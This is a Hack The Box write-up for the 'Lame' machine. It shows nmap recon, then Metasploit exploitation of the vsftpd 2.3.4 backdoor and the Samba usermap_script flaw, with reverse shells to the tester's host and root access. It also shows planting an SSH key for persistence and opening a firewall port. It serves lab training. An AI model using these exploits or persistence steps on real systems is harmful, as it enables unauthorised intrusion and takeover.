Writeup of the Lame box
Quick exploit of a CVE tied to Samba.
Intro
While I have covered this machine on my old blog, I wanted it cover here as well. The idea is to have all writeups on one site.
The machine itself is rated as easy and is the oldest machine available on Hack the Box, so let’s dive in!
Recon
Staring of, we enumerate the top 1000 most often open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[Jul 18, 2026 - 13:27:13 (UTC)] exegol-HTB Lame # nmap -sCV 10.129.32.49
Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-18 13:27 UTC
Nmap scan report for 10.129.32.49
Host is up (0.040s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.15.224
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
The thing that sticks out is the FTP service running vsftpd 2.3.4. This version has a known backdoor - https://www.exploit-db.com/exploits/49757.
In addition to the backdoor, the SMB service is running Samba 3.0.20 which has a remote command execution vulnerability - https://www.exploit-db.com/exploits/16320
The FTP service also doesn’t contain anything when logged in:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[Jul 18, 2026 - 13:42:04 (UTC)] exegol-HTB Lame # ftp 10.129.32.49
Connected to 10.129.32.49.
220 (vsFTPd 2.3.4)
Name (10.129.32.49:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||45685|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> dir
229 Entering Extended Passive Mode (|||29813|).
150 Here comes the directory listing.
226 Directory send OK.
ftp>
As there are no web services, the most likely entry point it to use one of the previously mentioned CVEs.
Exploitation
CVE-2011-2523
Since Metasploit has a module for it, we can give it a try:
1
2
3
4
5
6
7
8
9
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST tun0
sLHOST => tun0
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.129.32.49
RHOSTS => 10.129.32.49
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[!] 10.129.32.49:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >
And it seems the exploit fails. More on this in the Extra Mile section.
CVE-2007-2447
This CVE also has a Metasploit entry, so giving it a try results in:
1
2
3
4
5
6
7
8
9
10
msf exploit(multi/samba/usermap_script) > set RHOSTS 10.129.32.49
sRHOSTS => 10.129.32.49
msf exploit(multi/samba/usermap_script) > set LHOST tun0
LHOST => 10.10.15.224
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[*] Command shell session 1 opened (10.10.15.224:4444 -> 10.129.32.49:37820) at 2026-07-18 14:06:55 +0000
id
uid=0(root) gid=0(root)
And it would seem that we have a shell as the root user. Quickly verifying the flags confirms that we are indeed the root user on the machine rather than inside a container or sandbox:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[*] Command shell session 1 opened (10.10.15.224:4444 -> 10.129.32.49:37820) at 2026-07-18 14:06:55 +0000
id
uid=0(root) gid=0(root)
ls /home
ftp
makis
service
user
wc -c /home/makis/user.txt
33 /home/makis/user.txt
wc -c /root/root.txt
33 /root/root.txt
And with that, the machine is solved.
Extra Mile
Now why didn’t the vsftpd exploit work? The reason is a firewall, but before that I wanted to create a more stable shell.
To do that I generated an SSH key as the root user on the machine with the command:
ssh-keygen -t rsa -b 4096
and added the public key to the authorized keys file with:
echo id_rsa.pub >> authorized_keys
But when I tried to login via SSH I was greeted with an error:
1
2
[Jul 18, 2026 - 15:09:27 (UTC)] exegol-HTB Lame # ssh [email protected] -i id_rsa
Unable to negotiate with 10.129.32.49 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
It turns out to the machine is pretty old and offers key exchange algorithms that are too old (and vulnerable) for modern clients. To actually login via SSH (without altering your SSH config, thereby making it more vulnerable) you can use the following command:
ssh [email protected] -i id_rsa -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa
Once logged in, we can confirm that the firewall was preventing the vsftpd exploit from working:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@lame:~# ufw status
Firewall loaded
To Action From
-- ------ ----
22:tcp ALLOW Anywhere
22:udp ALLOW Anywhere
21:tcp ALLOW Anywhere
3632:tcp ALLOW Anywhere
3632:udp ALLOW Anywhere
139:tcp ALLOW Anywhere
139:udp ALLOW Anywhere
445:tcp ALLOW Anywhere
445:udp ALLOW Anywhere
For the vsftpd exploit to work, we need to be able to reach port 6200, as the backdoor runs on that port. UFW blocks communication to all ports that are not explicitly allowed by a rule. To make the vsftpd exploit work we can add a new rule to the firewall:
ufw allow 6200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@lame:~# ufw allow 6200
Rule added
root@lame:~# ufw status
Firewall loaded
To Action From
-- ------ ----
22:tcp ALLOW Anywhere
22:udp ALLOW Anywhere
21:tcp ALLOW Anywhere
3632:tcp ALLOW Anywhere
3632:udp ALLOW Anywhere
139:tcp ALLOW Anywhere
139:udp ALLOW Anywhere
445:tcp ALLOW Anywhere
445:udp ALLOW Anywhere
6200:tcp ALLOW Anywhere
6200:udp ALLOW Anywhere
Having added the new rule, we can verify that the exploit indeed works:
1
2
3
4
5
6
7
8
9
10
11
12
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.129.32.49
rhosts => 10.129.32.49
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST tun0
LHOST => tun0
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.10.15.224:4444
[+] 10.129.32.49:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.10.15.224:4444 -> 10.129.32.49:59591) at 2026-07-18 15:30:18 +0000
meterpreter > getuid
Server username: root
meterpreter >
For the keen-eyed of you probably noticed port 3632 on the allow list. You are free to explore what that service holds as your own extra challenge.